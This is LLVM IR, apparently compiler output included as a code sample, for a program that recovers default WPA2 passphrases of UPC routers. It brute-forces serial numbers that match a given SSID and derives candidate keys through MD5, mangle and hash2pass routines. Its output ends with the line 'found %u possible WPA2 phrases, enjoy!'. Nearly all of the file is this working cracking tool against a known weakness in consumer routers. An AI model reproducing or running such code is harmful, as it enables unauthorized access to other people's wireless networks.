store i32 %238, i32* %236
br label %82
239: ; preds = %82
br label %240
240: ; preds = %239
%241 = getelementptr inbounds [4 x i32], [4 x i32]* %6, i64 0, i64 0
%242 = load i32, i32* %241
%243 = add nsw i32 %242, 1
store i32 %243, i32* %241
br label %76
244: ; preds = %76
%245 = load i32, i32* %18
%246 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([55 x i8], [55 x i8]* @.str.6, i64 0, i64 0), i32 %245)
store i32 0, i32* %3
br label %247
247: ; preds = %244, %64, %41, %24
%248 = load i32, i32* %3
ret i32 %248
}

LLVM IR (-O2):
@.str = [4 x i8] c"UPC\00"
@.str.1 = [3 x i8] c"24\00"
@.str.2 = [2 x i8] c"5\00"
@.str.3 = [17 x i8] c"SAAP%d%02d%d%04d\00"
@.str.4 = [9 x i8] c"%08X%08X\00"
@.str.5 = [34 x i8] c" -> WPA2 phrase for '%s' = '%s'\0A\00"
@.str.6 = [55 x i8] c"\0A \1B[1m=> found %u possible WPA2 phrases, enjoy!\1B[0m\0A\0A\00"
define i32 @main(i32 %0, i8** nocapture %1) {
%3 = alloca [4 x i32]
%4 = alloca [64 x i8]
%5 = alloca [64 x i8]
%6 = alloca [9 x i8]
%7 = alloca [17 x i8]
%8 = alloca [16 x i32]
%9 = alloca [16 x i32]
%10 = alloca [4 x i32]
%11 = alloca i32
%12 = bitcast [4 x i32]* %3 to i8*
%13 = getelementptr inbounds [64 x i8], [64 x i8]* %4, i64 0, i64 0
%14 = getelementptr inbounds [64 x i8], [64 x i8]* %5, i64 0, i64 0
%15 = getelementptr inbounds [9 x i8], [9 x i8]* %6, i64 0, i64 0
%16 = getelementptr inbounds [17 x i8], [17 x i8]* %7, i64 0, i64 0
%17 = bitcast [16 x i32]* %8 to i8*
%18 = bitcast [16 x i32]* %9 to i8*
%19 = bitcast [4 x i32]* %10 to i8*
%20 = tail call i32 (...) @banner()
%21 = icmp eq i32 %0, 3
br i1 %21, label %25, label %22
22: ; preds = %2
%23 = load i8*, i8** %1
%24 = tail call i32 @usage(i8* %23)
br label %153
25: ; preds = %2
%26 = getelementptr inbounds i8*, i8** %1, i64 1
%27 = load i8*, i8** %26
%28 = tail call i32 @strlen(i8* %27)
%29 = icmp eq i32 %28, 10
br i1 %29, label %30, label %34
30: ; preds = %25
%31 = load i8*, i8** %26
%32 = tail call i64 @memcmp(i8* %31, i8* getelementptr inbounds ([4 x i8], [4 x i8]* @.str, i64 0, i64 0), i32 3)
%33 = icmp eq i64 %32, 0
br i1 %33, label %37, label %34
34: ; preds = %30, %25
%35 = load i8*, i8** %1
%36 = tail call i32 @usage(i8* %35)
br label %153
37: ; preds = %30
%38 = getelementptr inbounds i8*, i8** %1, i64 2
%39 = load i8*, i8** %38
%40 = tail call i64 @strcmp(i8* %39, i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.1, i64 0, i64 0))
%41 = icmp eq i64 %40, 0
br i1 %41, label %49, label %42
42: ; preds = %37
%43 = load i8*, i8** %38
%44 = tail call i64 @strcmp(i8* %43, i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.2, i64 0, i64 0))
%45 = icmp eq i64 %44, 0
br i1 %45, label %49, label %46
46: ; preds = %42
%47 = load i8*, i8** %1
%48 = tail call i32 @usage(i8* %47)
br label %153
49: ; preds = %37, %42
%50 = load i8*, i8** %26
%51 = getelementptr inbounds i8, i8* %50, i64 3
%52 = tail call i32 @strtoul(i8* nocapture %51, i32* null, i32 0)
%53 = bitcast i32* %11 to i8*
%54 = getelementptr inbounds [4 x i32], [4 x i32]* %3, i64 0, i64 0
%55 = getelementptr inbounds [4 x i32], [4 x i32]* %3, i64 0, i64 1
%56 = getelementptr inbounds [4 x i32], [4 x i32]* %3, i64 0, i64 2
%57 = getelementptr inbounds [4 x i32], [4 x i32]* %3, i64 0, i64 3
%58 = getelementptr inbounds [16 x i32], [16 x i32]* %8, i64 0, i64 0
%59 = getelementptr inbounds [4 x i32], [4 x i32]* %10, i64 0, i64 0
%60 = getelementptr inbounds [16 x i32], [16 x i32]* %8, i64 0, i64 8
%61 = getelementptr inbounds [16 x i32], [16 x i32]* %9, i64 0, i64 0
store i32 0, i32* %54
%62 = getelementptr inbounds [16 x i32], [16 x i32]* %8, i64 0, i64 2
%63 = getelementptr inbounds [4 x i32], [4 x i32]* %10, i64 0, i64 1
%64 = getelementptr inbounds [16 x i32], [16 x i32]* %8, i64 0, i64 4
%65 = getelementptr inbounds [4 x i32], [4 x i32]* %10, i64 0, i64 2
%66 = getelementptr inbounds [16 x i32], [16 x i32]* %8, i64 0, i64 6
%67 = getelementptr inbounds [4 x i32], [4 x i32]* %10, i64 0, i64 3
%68 = getelementptr inbounds [16 x i32], [16 x i32]* %8, i64 0, i64 10
%69 = getelementptr inbounds [16 x i32], [16 x i32]* %8, i64 0, i64 12
%70 = getelementptr inbounds [16 x i32], [16 x i32]* %8, i64 0, i64 14
br label %71
71: ; preds = %49, %147
%72 = phi i32 [ 0, %49 ], [ %135, %147 ]
store i32 0, i32* %55
br label %73
73: ; preds = %71, %143
%74 = phi i32 [ %72, %71 ], [ %135, %143 ]
store i32 0, i32* %56
br label %75
75: ; preds = %73, %139
%76 = phi i32 [ %74, %73 ], [ %135, %139 ]
store i32 0, i32* %57
br label %77
77: ; preds = %75, %134
%78 = phi i32 [ %76, %75 ], [ %135, %134 ]
br i1 %41, label %79, label %82
79: ; preds = %77
%80 = call i32 @upc_generate_ssid(i32* %54, i32 -7500000)
%81 = icmp eq i32 %80, %52
br i1 %81, label %85, label %134
82: ; preds = %77
%83 = call i32 @upc_generate_ssid(i32* %54, i32 -2500000)
%84 = icmp eq i32 %83, %52
br i1 %84, label %85, label %134
85: ; preds = %79, %82
%86 = add nsw i32 %78, 1
%87 = load i32, i32* %54
%88 = load i32, i32* %55
%89 = load i32, i32* %56
%90 = load i32, i32* %57
%91 = call i32 (i8*, i8*, i32, i32, ...) @sprintf(i8* %13, i8* dereferenceable(1) getelementptr inbounds ([17 x i8], [17 x i8]* @.str.3, i64 0, i64 0), i32 %87, i32 %88, i32 %89, i32 %90)
%92 = call i32 @memset(i8* %14, i32 0, i32 64)
%93 = call i32 @strlen(i8* %13)
br i1 %41, label %110, label %94
94: ; preds = %85
%95 = icmp sgt i32 %93, 0
br i1 %95, label %96, label %112
96: ; preds = %94, %96
%97 = phi i64 [ %106, %96 ], [ 0, %94 ]
%98 = trunc i64 %97 to i32
%99 = getelementptr inbounds [64 x i8], [64 x i8]* %4, i64 0, i64 %97
%100 = load i8, i8* %99
%101 = call i32 @strlen(i8* %13)
%102 = xor i32 %98, -1
%103 = add i32 %101, %102
%104 = sext i32 %103 to i64
%105 = getelementptr inbounds [64 x i8], [64 x i8]* %5, i64 0, i64 %104
store i8 %100, i8* %105
%106 = add nuw nsw i64 %97, 1
%107 = call i32 @strlen(i8* %13)
%108 = sext i32 %107 to i64
%109 = icmp slt i64 %106, %108
br i1 %109, label %96, label %112
110: ; preds = %85
%111 = call i32 @memcpy(i8* %14, i8* %13, i32 %93)
br label %112
112: ; preds = %96, %94, %110
%113 = call i32 @MD5_Init(i32* %11)
%114 = call i32 @strlen(i8* %14)
%115 = call i32 @MD5_Update(i32* %11, i8* %14, i32 %114)
%116 = call i32 @MD5_Final(i32* %58, i32* %11)
%117 = load i32, i32* %58
store i32 %117, i32* %59
%118 = load i32, i32* %62
store i32 %118, i32* %63
%119 = load i32, i32* %64
store i32 %119, i32* %65
%120 = load i32, i32* %66
store i32 %120, i32* %67
%121 = call i32 @mangle(i32* %59)
%122 = load i32, i32* %60
store i32 %122, i32* %59
%123 = load i32, i32* %68
store i32 %123, i32* %63
%124 = load i32, i32* %69
store i32 %124, i32* %65
%125 = load i32, i32* %70
store i32 %125, i32* %67
%126 = call i32 @mangle(i32* %59)
%127 = call i32 (i8*, i8*, i32, i32, ...) @sprintf(i8* %16, i8* dereferenceable(1) getelementptr inbounds ([9 x i8], [9 x i8]* @.str.4, i64 0, i64 0), i32 %121, i32 %126)
%128 = call i32 @MD5_Init(i32* %11)
%129 = call i32 @strlen(i8* %16)
%130 = call i32 @MD5_Update(i32* %11, i8* %16, i32 %129)
%131 = call i32 @MD5_Final(i32* %61, i32* %11)
%132 = call i32 @hash2pass(i32* %61, i8* %15)
%133 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([34 x i8], [34 x i8]* @.str.5, i64 0, i64 0), i8* %13, i8* %15)
br label %134
134: ; preds = %82, %79, %112
%135 = phi i32 [ %78, %79 ], [ %78, %82 ], [ %86, %112 ]
%136 = load i32, i32* %57
%137 = add nsw i32 %136, 1
store i32 %137, i32* %57
%138 = icmp slt i32 %136, 9999
br i1 %138, label %77, label %139
139: ; preds = %134
%140 = load i32, i32* %56
%141 = add nsw i32 %140, 1
store i32 %141, i32* %56
%142 = icmp slt i32 %140, 9
br i1 %142, label %75, label %143
143: ; preds = %139
%144 = load i32, i32* %55
%145 = add nsw i32 %144, 1
store i32 %145, i32* %55
%146 = icmp slt i32 %144, 99
br i1 %146, label %73, label %147
147: ; preds = %143
%148 = load i32, i32* %54
%149 = add nsw i32 %148, 1
store i32 %149, i32* %54
%150 = icmp slt i32 %148, 9
br i1 %150, label %71, label %151
151: ; preds = %147
%152 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([55 x i8], [55 x i8]* @.str.6, i64 0, i64 0), i32 %135)
br label %153
153: ; preds = %151, %46, %34, %22
%154 = phi i32 [ 1, %22 ], [ 1, %34 ], [ 1, %46 ], [ 0, %151 ]
ret i32 %154
}